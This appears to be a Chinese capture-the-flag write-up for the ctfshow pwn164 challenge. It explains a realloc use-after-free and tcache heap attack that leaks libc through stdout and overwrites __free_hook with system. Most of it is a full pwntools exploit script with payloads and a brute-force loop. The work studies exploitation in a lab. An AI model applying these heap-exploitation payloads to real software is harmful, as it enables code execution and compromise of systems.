ctfshow pwn164ctfshow怎么有这么多的stdout泄露libc的题目每次我看到没有show函数想要尝试其他办法最后都是失败然后老老实实回来用这个办法哈哈哈哈如果其它师傅有其他的办法欢迎来交流delete函数中有一个uaf漏洞清空ptr指针realloc chunkrealloc(ptr, size)的关键逻辑这行代码是整道题的核心。由于ptr是全局的每次调用add都会发生以下三种情况之一情况 A首次调用 (ptr初始为 0)realloc(0, size)的行为等同于malloc(size)。它申请一块内存并将地址存入全局变量ptr。情况 B扩容/缩容 (ptr已有地址size 0)realloc会尝试在原地调整ptr指向的块大小。如果原地空间不够它会开辟新块、拷贝原数据、释放free旧块最后把新地址覆盖回ptr。情况 C释放内存 (ptr已有地址size 0)这是这道题最关键的漏洞点。根据realloc的标准realloc(ptr, 0)等同于执行free(ptr)并且会返回NULL(0)。 由于代码里有ptr realloc(ptr, size)执行完后全局变量ptr会被赋值为0。分析由于没有show函数还是要通过stdout去泄露libc,这里用到了ralloc会在原地拓展的属性拿到目标chunk的上一个chunk去calloc一个大的size去覆盖main_arena的低2个字节进行爆破先摆好tar和tar_pre两个chunk的位置然后通过7次free把tcache bin塞满2.27的tcache没有引入key,可以随便free并且把tar_chunk free掉准备main_arena接着拿tar_pre的地址用这个地址去拓展造成堆块重叠去改main_arena的后几位去爆破add(0x70,ba) add(0,) add(0x100,ba) add(0,b) add(0x20,ba) add(0,b) add(0x100,ba) for i in range(7): delete() add(0,) add(0x70,bA) add(0x180,ba*0x78p64(0x101)b\x2d\xc7) add(0,) add(0x100,ba) add(0,) add(0x100,ba*0x33p64(0xfbad1887) p64(0)*3 p8(0x58)) libc_base u64(p.recvuntil(b\x7f, timeout0.1)[-6:].ljust(8, b\x00))-0x3ec758 if libc_base -0x3ec758: exit(-1) print(hex(libc_base))这里不能用sudo sysctl -w kernel.randomize_va_space0因为他这个偏移比较奇怪会导致_IO_2_1_stdout_和main_arena不是在同一个0x10000上无法通过覆盖后两位过去拿到libc之后就可以通过同样的办法覆盖free_hook这里因为ralloc返回的地址是free函数的参数所以我们可以改fd为free_hook-8,然后覆盖b/bin/sh\x00p64(system)让realloc之后的参数为binsh的地址并且把free_hook改为system函数free libc_base libc.sym[__free_hook] system libc_base libc.sym[system] one_gadget libc_base 0x4f322 zero() add(0x110,ba) add(0,) add(0x120,ba) add(0,b) add(0x20,ba) add(0,b) add(0x120,ba) for i in range(7): delete() add(0,) add(0x110,bA) add(0x180,ba*0x118p64(0x121)p64(free-8)) add(0,) add(0x120,ba) add(0,) add(0x120,b/bin/sh\x00p64(system)) delete()expfrom pwn import * import sys from LibcSearcher import * file_path ./pwn164 remote_host pwn.challenge.ctf.show remote_port 28188 context(archamd64, oslinux, log_levelwarn) context.terminal [ wt.exe, --profile, WSL GDB (Black), wsl.exe, bash, -ic ] elf ELF(file_path) libc elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def sl(a):p.sendline(a) def s(a):p.send(a) def ru(a):p.recvuntil(a) def sa(a, b):p.sendafter(a, b) def bin_sys(libc_base) : return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00)) def uu64() : return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def uu32() : return u32(p.recvuntil(b\xf7)[-4:].ljust(4, b\x00)) def add(size, content): p.recvuntil(Choice:) p.sendline(1) p.recvuntil(Size?\n) p.sendline(str(size)) p.recvuntil(Content?\n) p.send(content) def delete(): p.recvuntil(Choice:) p.sendline(2) def zero(): p.recvuntil(Choice:) p.sendline(1433233) def attack(): add(0x70,ba) add(0,) add(0x100,ba) add(0,b) add(0x20,ba) add(0,b) add(0x100,ba) for i in range(7): delete() # dbg() add(0,) add(0x70,bA) add(0x180,ba*0x78p64(0x101)b\x2d\xc7) add(0,) add(0x100,ba) add(0,) add(0x100,ba*0x33p64(0xfbad1887) p64(0)*3 p8(0x58)) libc_base u64(p.recvuntil(b\x7f, timeout0.1)[-6:].ljust(8, b\x00))-0x3ec758 if libc_base -0x3ec758: exit(-1) print(hex(libc_base)) # dbg() free libc_base libc.sym[__free_hook] system libc_base libc.sym[system] one_gadget libc_base 0x4f322 zero() add(0x110,ba) add(0,) add(0x120,ba) add(0,b) add(0x20,ba) add(0,b) add(0x120,ba) for i in range(7): delete() add(0,) add(0x110,bA) add(0x180,ba*0x118p64(0x121)p64(free-8)) add(0,) add(0x120,ba) add(0,) add(0x120,b/bin/sh\x00p64(system)) delete() p.interactive() while True: try: pprocess(./pwn164) # premote(pwn.challenge.ctf.show,28188) attack() break except: print(wrong) p.close()